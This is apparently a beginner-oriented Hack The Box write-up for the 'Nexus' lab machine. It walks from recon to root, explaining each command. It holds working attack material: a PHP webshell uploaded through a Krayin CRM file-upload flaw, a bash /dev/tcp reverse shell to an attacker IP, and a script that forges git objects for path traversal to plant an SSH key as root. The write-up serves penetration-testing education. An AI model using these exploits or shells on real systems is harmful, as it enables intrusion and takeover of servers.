October 31, 2026
HTB Nexus
This writeup explains every single step of compromising the Nexus machine, written so that even if you’ve never touched a terminal before…

By Himanshu Jha
12 min read
This writeup explains every single step of compromising the Nexus machine, written so that even if you've never touched a terminal before, you can follow along and understand why each command is run, not just what to type.
Part 1: Scanning the Target (Nmap)
Before attacking anything, we need to know what doors ("ports") are open on the target computer, and what software is answering behind those doors.
ports=$(nmap -p- --min-rate=1000 -T4 10.129.234.54 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.234.54ports=$(nmap -p- --min-rate=1000 -T4 10.129.234.54 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.234.54What this does, piece by piece:
nmap -p-scan all 65,535 ports, not just the common ones.--min-rate=1000 -T4scan fast, sending many packets per second.grep '^[0-9]'from the nmap output, only keep lines that start with a number (the port lines).cut -d '/' -f 1nmap prints ports like22/tcp; this chops off everything after the / so we're left with just22.tr '\n' ','turns the list of ports (one per line) into one line, comma-separated.sed s/,$//removes the trailing comma at the end.- The second
nmapcommand then does a detailed scan (-sC= default scripts,-sV= detect software versions) only on the exact ports we found much faster than scanning everything in detail.
Result: Two ports open 22 (SSH, for secure remote login) and 80 (HTTP, a website). The website redirected us to http://nexus.htb, meaning the server expects us to reach it using that domain name instead of its IP address.
Why add it to /etc/hosts? Your computer doesn't know what nexus.htb means — that's not a real internet domain, it only exists inside the HTB lab. The file /etc/hosts is a manual address book: you tell your computer "when I type nexus.htb, actually go to this IP address."
echo "10.129.234.54 nexus.htb" | sudo tee -a /etc/hostsecho "10.129.234.54 nexus.htb" | sudo tee -a /etc/hostsecho "..."prints that line of text.- | (pipe) sends that text into the next command instead of printing it to your screen.
sudo tee -a /etc/hostswrites (appends,-a) that text into the hosts file, usingsudobecause normal users aren't allowed to edit this system file.
Visiting http://nexus.htb in a browser shows a fake government energy website. On its Careers page there's a job posting listing two email addresses: careers@nexus.htb and j.matthew@nexus.htb. We keep j.matthew@nexus.htb in mind it's a real username we might be able to use later.
Part 2: Finding Hidden Subdomains
One web server can secretly host multiple different websites, each one answering only to a specific hostname (like git.nexus.htb or billing.nexus.htb) even though they all share the same IP address. This is called "virtual hosting," and the server tells them apart using the Host: header sent with every web request.
Since we don't know these hidden hostnames yet, we guess thousands of common ones automatically using a tool called ffuf ("Fuzz Faster U Fool").
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-u http://nexus.htb/ -H "Host: FFUZ.nexus.htb"ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-u http://nexus.htb/ -H "Host: FFUZ.nexus.htb"-w wordlist:FFUZuse this wordlist (a giant text file of common subdomain names, one per line), and call each guessed wordFFUZso we can reference it.-u http://nexus.htb/always send the request to this same IP/URL.-H "Host: FFUZ.nexus.htb"but each time, swap in a different guessed word whereFFUZis, so the server sees a different hostname each try (e.g.git.nexus.htb,test.nexus.htb,billing.nexus.htb...).
The server responded to every guess with the same generic "not found" page, which made it look like nothing was working. The trick: this noise page is always exactly 4 words long. By filtering it out, only real subdomains stand out:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-u http://nexus.htb/ -H "Host: FFUZ.nexus.htb" -fw 4ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
-u http://nexus.htb/ -H "Host: FFUZ.nexus.htb" -fw 4-fw 4"filter out any response whose body has exactly 4 words." This hides the noise and leaves only genuinely different responses.
Result: Two real subdomains discovered git.nexus.htb (returns 200 OK, a real page) and billing.nexus.htb (returns 302, a redirect usually means "you need to log in first").
We add both to /etc/hosts the same way as before.
Part 3: Exploring Gitea and Finding Leaked Credentials
Visiting http://git.nexus.htb shows Gitea, a self-hosted alternative to GitHub a place where developers store and share code repositories ("repos").
Browsing its public repositories (/explore/repos), we find one called krayin-docker-setup. Inside it is a file named .env this is a very common filename for storing configuration secrets (database passwords, API keys, etc.) that should never be committed to a public repo, but developers forget this constantly.
The current version of .env has the password field blank looks like someone noticed the mistake and "fixed" it. But Git remembers every past version of every file forever, in something called "commit history." So we check the history:
Clicking the commit history, we find an earlier commit where the password was still visible in plain text:
DB_USERNAME=krayin
DB_PASSWORD=N***********DB_USERNAME=krayin
DB_PASSWORD=N***********This is the critical lesson: deleting a secret from a file does not remove it from Git history unless you specifically rewrite history (which almost nobody does correctly). Always check commit history when hunting for leaked secrets in a git repo.
The .env file also confirms the exact same hostname we found by fuzzing: APP_URL=http://billing.nexus.htb. This tells us: this database password very likely belongs to whatever application is running at billing.nexus.htb.
Part 4: Logging Into Krayin CRM
Visiting http://billing.nexus.htb shows a Krayin CRM login page (a Customer Relationship Management web application, built in PHP using the Laravel framework).
We combine the two pieces of leaked information:
- Username (email):
j.matthew@nexus.htb(found on the Careers page) - Password:
N**********(found in Gitea's commit history)
Login succeeds! The dashboard shows the Krayin version is 2.2.0.
Part 5: Exploiting CVE-2026–38526 (Unrestricted File Upload to RCE)
Searching "Krayin CRM 2.2.0 vulnerabilities" leads to CVE-2026–38526: a critical (CVSS 9.9) authenticated Remote Code Execution vulnerability. Here's the plain-English version of what's broken:
Krayin lets logged-in admins compose emails using a rich-text editor called TinyMCE. That editor lets you attach images by uploading them through an endpoint: /admin/tinymce/upload. The bug: this endpoint never checks what kind of file you're actually uploading. It's supposed to only accept images, but it will happily accept a .php file too and because the server runs PHP code automatically whenever a .php file is requested, uploading a PHP file effectively means you can make the server run any code you want.
Step 5a: Understanding the Upload Request's Security Requirement (CSRF)
Laravel applications (which Krayin is built on) protect every form submission with a CSRF token a secret, single-use value that proves the request genuinely came from a logged-in user clicking a real button on the real website, not an attacker forging a request from elsewhere. Every request needs:
- A valid session cookie (
krayin_crm_session) proves you're logged in. - A matching XSRF token (
X-XSRF-TOKENheader) proves the request is intentional, not forged.
Both of these live in cookies that get set when you log in, and curl needs to carry them along with every subsequent request.
Step 5b: Logging In via curl (Command Line, No Browser)
curl -s -c cookies.txt http://billing.nexus.htb/admin/login > login.htmlcurl -s -c cookies.txt http://billing.nexus.htb/admin/login > login.html-c cookies.txtsave any cookies the server sends us into a file calledcookies.txt.> login.htmlsave the HTML page content into a file so we can read it.
TOKEN=$(grep -oP 'name="_token"\s+value="\K[^"]+' login.html)TOKEN=$(grep -oP 'name="_token"\s+value="\K[^"]+' login.html)This searches login.html for a hidden form field called _token (Laravel embeds a fresh CSRF token into every login page) and saves its value into the shell variable TOKEN.
XSRF=$(awk -F'\t' '/XSRF-TOKEN/{print $NF}' cookies.txt | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))")XSRF=$(awk -F'\t' '/XSRF-TOKEN/{print $NF}' cookies.txt | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))")cookies.txtis a "Netscape format" cookie file a plain text table with tab-separated columns.awk -F'\t'splits each line by tabs and finds the line containingXSRF-TOKEN, printing its last field (the cookie value).- That value is URL-encoded (special characters like
%3Dinstead of =), so we pipe it through a small Python one-liner to decode it back into normal text.
A real problem we hit here: the password N********** contains !!. In the zsh shell (Kali's default shell), typing !! inside double quotes triggers something called history expansion the shell tries to substitute in your previous command, which breaks everything and throws zsh: no such word in event. The fix we used: write the login JSON payload into a file using a heredoc with a quoted delimiter (<< 'EOF'), which tells the shell "don't interpret anything special inside here, treat it as pure literal text":
cat > payload.json << 'EOF'
{"_token":"TOKEN_PLACEHOLDER","email":"j.matthew@nexus.htb","password":"N********"}
EOF
sed -i "s/TOKEN_PLACEHOLDER/$TOKEN/" payload.jsoncat > payload.json << 'EOF'
{"_token":"TOKEN_PLACEHOLDER","email":"j.matthew@nexus.htb","password":"N********"}
EOF
sed -i "s/TOKEN_PLACEHOLDER/$TOKEN/" payload.jsonThe sed -i command then swaps the placeholder text for our real, freshly-grabbed $TOKEN value inside that file.
Finally, we submit the login:
curl -s -b cookies.txt -c cookies.txt -X POST http://billing.nexus.htb/admin/login \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Accept: application/json" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/json" \
--data @payload.jsoncurl -s -b cookies.txt -c cookies.txt -X POST http://billing.nexus.htb/admin/login \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Accept: application/json" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/json" \
--data @payload.json-b cookies.txtsend back the cookies we already have.-c cookies.txtalso save any new cookies the server sends back (overwriting the file with updated, now-authenticated session info).-X POSTthis is a POST request (submitting data), not a GET (just viewing a page).--data @payload.jsonsend the contents of that file as the request body.
A response redirecting to /admin/dashboard confirms: we are now logged in, and cookies.txt holds a valid, authenticated session.
Step 5c: Uploading the Malicious PHP File
echo '<?php system($_GET["cmd"]); ?>' > shell.phpecho '<?php system($_GET["cmd"]); ?>' > shell.phpThis creates the simplest possible PHP "webshell." In plain English: "whatever value is passed in the URL's cmd parameter, run it as a system command and show me the output." It's tiny, but devastatingly powerful once it's reachable over the web.
XSRF=$(awk -F'\t' '/XSRF-TOKEN/{print $NF}' cookies.txt | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))")
curl -s -b cookies.txt -c cookies.txt \
-H "X-XSRF-TOKEN: $XSRF" \
-F "file=@shell.php;type=image/jpeg" \
http://billing.nexus.htb/admin/tinymce/uploadXSRF=$(awk -F'\t' '/XSRF-TOKEN/{print $NF}' cookies.txt | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))")
curl -s -b cookies.txt -c cookies.txt \
-H "X-XSRF-TOKEN: $XSRF" \
-F "file=@shell.php;type=image/jpeg" \
http://billing.nexus.htb/admin/tinymce/upload- We re-grab a fresh
$XSRFtoken right before uploading, since tokens can rotate and a stale one causes a419 CSRF token mismatcherror (this bit us earlier in the process!). -F "file=@shell.php;type=image/jpeg"uploadshell.phpas a form field calledfile, but lie about its content type, claiming it's a JPEG image. Since the server doesn't actually validate the real file contents (that's the vulnerability!), this lie is accepted at face value.
Response:
{"location":"http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php"}{"location":"http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php"}The server tells us exactly where our malicious file landed, publicly accessible on the web.
Step 5d: Triggering the Code Execution
curl -s "http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php?cmd=id"curl -s "http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php?cmd=id"Visiting that URL makes the server execute our uploaded PHP file. Because of $_GET["cmd"], whatever we put after ?cmd= in the URL gets run as a shell command on the server. Running id returned something like uid=33(www-data) gid=33(www-data)proof we can now run arbitrary commands as the web server's own user account, www-data.
Step 5e: Upgrading to a Real Interactive Shell
Running one command at a time through a URL is clunky. A "reverse shell" flips the connection around: instead of us repeatedly asking the server to run things, the server connects back out to our machine and gives us a live, interactive terminal.
- Start a listener on your Kali machine this just means "open a port and wait for an incoming connection":
nc -lnvp 4455nc -lnvp 4455nc= netcat, a networking Swiss-army-knife tool.-l= listen for a connection (instead of making one).-n= don't bother resolving hostnames.-v= verbose output.-p 4455= listen on port 4455.
- Trigger the webshell to make the target connect back to you, running a reverse shell one-liner:
curl -s "http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote('bash -c \"bash -i >& /dev/tcp/YOUR_IP/4455 0>&1\"'))")"curl -s "http://billing.nexus.htb/storage/tinymce/a026ada094ee8f2497757a17bac2758a.php?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote('bash -c \"bash -i >& /dev/tcp/YOUR_IP/4455 0>&1\"'))")"- The inner
bash -i >& /dev/tcp/YOUR_IP/4455 0>&1opens an interactive bash shell and redirects its input/output/errors over a raw TCP connection back to your IP and port. - Because this whole thing has to travel inside a URL, special characters would break it, so we URL-encode it first using Python.
- Back on your listener, you should see the connection land, and you now have a shell as www-data.
- Stabilize it into something that behaves like a real terminal (supports arrow keys, tab-completion, Ctrl+C properly):
script /dev/null -c /bin/bashscript /dev/null -c /bin/bashPart 6: From www-data to the jones User
Now that we're on the actual server (not just talking to it over HTTP), we explore the Krayin CRM application's own files, since we're running as the application.
cat ~/krayin/.envcat ~/krayin/.envThis is the live, current configuration file (different from the old leaked one in Gitea!). It reveals an updated database password:
DB_USERNAME=krayin
DB_PASSWORD=y***************DB_USERNAME=krayin
DB_PASSWORD=y***************Checking /etc/passwd (the system's list of all user accounts) shows a normal human user: jones:x:1000:1000:,,,:/home/jones:/bin/bash. The /bin/bash at the end means this user is allowed an interactive login shell (unlike system/service accounts which usually say /usr/sbin/nologin).
The key idea here is credential reuse. People (and badly-run systems) often reuse the same password across multiple services. We try the freshly-found database password against the SSH login for jones:
ssh jones@nexus.htbssh jones@nexus.htbWhen prompted for a password, we try y******** it works. We're now logged in directly as jones, with a proper shell, not just a webshell. From here we can read /home/jones/user.txt the first of the two "flags" (proof-of-compromise tokens) HTB asks you to submit.
Part 7: Privilege Escalation to Root (Gitea Template Sync Directory Traversal)
This is the clever, custom-built part of the box. We need to find a way for jones to become root.
Step 7a: Discovering the Timer
systemctl list-timerssystemctl list-timersThis lists all systemd timers scheduled jobs, like a more powerful version of cron. One entry stands out:
gitea-template-sync.timer ACTIVATES gitea-template-sync.servicegitea-template-sync.timer ACTIVATES gitea-template-sync.serviceThis means: every so often (we observed roughly every 1–2 minutes), the system automatically runs a service called gitea-template-sync.
Step 7b: Reading the Vulnerable Script
cat /etc/gitea/template-sync.pycat /etc/gitea/template-sync.pyReading the Python source code reveals what this service does: it looks through Gitea for any repository marked as a "template" repository, downloads (clones) its file list using git ls-tree, and copies each file into a staging folder at /home/git/template-staging/<owner>/<repo>/.
The critical, buggy line is something like:
target = os.path.join(stage_path, filepath)
os.makedirs(os.path.dirname(target), exist_ok=True)target = os.path.join(stage_path, filepath)
os.makedirs(os.path.dirname(target), exist_ok=True)Why this is dangerous explained simply: os.path.join(a, b) is supposed to safely combine a base folder path with a filename. But it does not protect against the filename containing ../ ("go up one directory") sequences. If filepath is something like ../../../../../root/.ssh/authorized_keys, then os.path.join() will happily build a path that walks all the way out of the intended staging folder and lands inside /root/.ssh/ a folder normally only root can write to. And because this template-sync service runs as root (it needs root privileges to manage files system-wide), whatever path it's tricked into writing to, it writes to as root, bypassing all normal permission checks.
Normally, Git itself refuses to let you create a file with .. in its path this is called verify_path(), a built-in safety check. But the sync script doesn't go through that check: it reads raw file paths from git ls-tree directly, and those paths come from the raw, low-level git object database, which has no such validation baked in. So the trick is: don't ask Git nicely to create a malicious filename manually construct the underlying low-level git data objects ourselves, bypassing Git's own safety checks entirely.
Step 7c: Generating Our SSH Key
ssh-keygen -t ed25519 -f /tmp/.k -N ''ssh-keygen -t ed25519 -f /tmp/.k -N ''-t ed25519use the modern, secure Ed25519 key algorithm.-f /tmp/.ksave the private key as/tmp/.k(and automatically the public key as/tmp/.k.pub).-N ''set an empty passphrase, so we don't get prompted for one later when connecting.
If root's authorized_keys file ends up containing our public key, then our matching private key will let us SSH in as root with no password needed at all.
Step 7d: Creating a Malicious Template Repository on Gitea
We log into Gitea as jones (same password, reused yet again) and create a brand-new, empty repository named rce, making sure to tick "Make repository a template" this is what makes the sync service notice and process it.
cd /tmp
git clone http://jones:'y***********'@git.nexus.htb/jones/rce.git
cd rce
touch README.mdcd /tmp
git clone http://jones:'y***********'@git.nexus.htb/jones/rce.git
cd rce
touch README.mdtouch README.md just creates an empty file we need at least one normal, harmless file in the repo alongside our malicious payload, to help disguise/pad the structure.
Step 7e: The build.py Exploit Script — Explained Line by Line
This script manually builds the internal "objects" that make up a Git repository, the same way Git itself would, but skipping Git's safety checks:
def write_obj(data,t):
h=("%s %d"%(t,len(data))).encode()+b"\x00"
s=h+data
sha=hashlib.sha1(s).hexdigest()
d=os.path.join(".git","objects",sha[:2])
os.makedirs(d,exist_ok=True)
p=os.path.join(d,sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return shadef write_obj(data,t):
h=("%s %d"%(t,len(data))).encode()+b"\x00"
s=h+data
sha=hashlib.sha1(s).hexdigest()
d=os.path.join(".git","objects",sha[:2])
os.makedirs(d,exist_ok=True)
p=os.path.join(d,sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return shaEvery piece of data in Git (a file's contents, a folder listing, a commit) is stored as an "object," identified by the SHA-1 hash of its content, compressed with zlib, and stored under .git/objects/<first 2 hash chars>/<remaining hash chars>. This function recreates that exact storage format by hand.
def entry(mode,name,sha):
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)def entry(mode,name,sha):
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)A Git "tree" object (which represents a folder) is a list of entries: each one has a file mode (like 100644 for a regular file, or 40000 for a subfolder), a name, and the hash of what that entry points to. This builds one such entry.
The actual exploit logic:
key = <our public key contents>
blob = write_obj(key, "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644","authorized_keys",blob), "tree")
cur = write_obj(entry("40000",".ssh",ssh_t), "tree")
fir = write_obj(entry("40000","root",cur), "tree")
for i in range(4):
fir = write_obj(entry("40000","..",fir), "tree")
root = write_obj(entry("100644","README.md",readme) + entry("40000","..",fir), "tree")key = <our public key contents>
blob = write_obj(key, "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644","authorized_keys",blob), "tree")
cur = write_obj(entry("40000",".ssh",ssh_t), "tree")
fir = write_obj(entry("40000","root",cur), "tree")
for i in range(4):
fir = write_obj(entry("40000","..",fir), "tree")
root = write_obj(entry("100644","README.md",readme) + entry("40000","..",fir), "tree")Think of Git trees like a set of nested folders. By nesting our payload inside five layers of a folder literally named .., we're building the equivalent of this file path:
../../../../../root/.ssh/authorized_keys../../../../../root/.ssh/authorized_keysWhen the vulnerable sync script joins this path onto its staging directory (/home/git/template-staging/jones/rce/), each .. walks up one directory level. Five ..'s from that staging path lands exactly at the filesystem root, letting the remaining root/.ssh/authorized_keys portion point squarely at the real /root/.ssh/authorized_keys file.
Finally, the script wraps everything into a "commit" object (the thing a branch actually points to) and writes it directly into refs/heads/main manually creating a complete, valid-looking commit without ever going through Git's normal, safety-checked commands.
Step 7f: Running It and Pushing
python3 build.py
git push -u origin main --forcepython3 build.py
git push -u origin main --forceThe push uploads our hand-crafted malicious objects straight to the Gitea server. (You may see local warnings like "unable to access '../../../../../root/.gitattributes'" these are harmless; that's just your local Kali machine's git client trying to check for a file at that traversal path on your own filesystem, which doesn't exist there, and failing safely.)
Step 7g: Waiting for the Automated Timer
Since jones doesn't have root's crontab access, we just wait the gitea-template-sync.timer will trigger the vulnerable sync script automatically within a minute or two, with no further action needed from us.
We can watch it happen live:
tail -f /var/log/template-sync.logtail -f /var/log/template-sync.logAnd indeed, the log shows:
Syncing template: jones/rce
synced: README.md
synced: ../../../../../root/.ssh/authorized_keys
Template sync completeSyncing template: jones/rce
synced: README.md
synced: ../../../../../root/.ssh/authorized_keys
Template sync completeThat confirms: the root-owned service just wrote our SSH public key into /root/.ssh/authorized_keys.
Step 7h: Claiming Root
ssh -i /tmp/.k root@nexus.htbssh -i /tmp/.k root@nexus.htb-i /tmp/.kuse this specific private key file to authenticate, instead of a password.
Since our matching public key is now trusted by root's account, this logs us straight in as root, with no password required at all.
cat /root/root.txtcat /root/root.txtThis is the second and final flag, proving full compromise of the machine from a completely unauthenticated starting point all the way to root.
Full Attack Chain Summary
- Recon: Nmap finds ports 22 and 80; the website redirects to
nexus.htb. - Vhost fuzzing: Discovers hidden subdomains
git.nexus.htbandbilling.nexus.htb. - Gitea leak: A public repo's old commit history exposes a plaintext database password.
- Username discovery: The main website's job posting leaks a real admin email address.
- Krayin login: Combining the leaked email + password logs into the CRM admin panel.
- CVE-2026–38526: An unrestricted file upload in Krayin's TinyMCE integration lets us upload and execute a PHP webshell shell as
www-data. - Credential reuse #1: The live
.envfile on disk reveals an updated DB password, which also works for SSH asjonesuser flag. - Privilege escalation: A root-run systemd timer syncs Gitea "template" repos using an unsanitized
os.path.join(), vulnerable to directory traversal. By hand-crafting raw Git objects (bypassing Git's own path-safety checks), we plant our SSH public key into/root/.ssh/authorized_keysroot flag.